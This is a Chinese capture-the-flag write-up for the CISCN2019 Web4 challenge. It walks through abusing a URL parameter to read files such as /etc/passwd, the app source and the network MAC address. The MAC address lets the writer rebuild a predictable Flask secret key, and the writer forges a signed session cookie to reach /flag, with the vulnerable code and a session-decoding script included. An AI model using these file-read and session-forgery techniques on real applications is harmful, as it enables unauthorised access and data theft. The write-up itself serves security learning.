[CISCN2019 华东南赛区]Web4

点击readsomething后链接到了百度，同时url里多了url参数，猜测存在任意文件读取。

尝试/etc/passwd

成功读取，读取/proc/self/cmdline查看当前进程

知道是python的后台，源码在/api/app.py下，读源码

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

很明显是一道flask-session题，在/flag路由 能得到flag，现在的问题是要找到secret_key

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

random指定了seed那么生成的随机数是固定的，查看uuid.getnode()

会获取当前的mac地址。我们读取/sys/class/net/eth0/address得到了mac地址02:42:ac:10:a9:06即0x0242ac10a906
用python2获得key

先用脚本解码我们原来的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    s = "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YJS5GQ.c-7rnz5YVqHA2e3GxPboKPlXDlU"
    print(decryption(s.encode()))

得到{'username': b'www-data'}，改为{'username': b'fuck'},用flask-session插件配合秘钥加密。

配合我们得到的session访问/flag页面拿到flag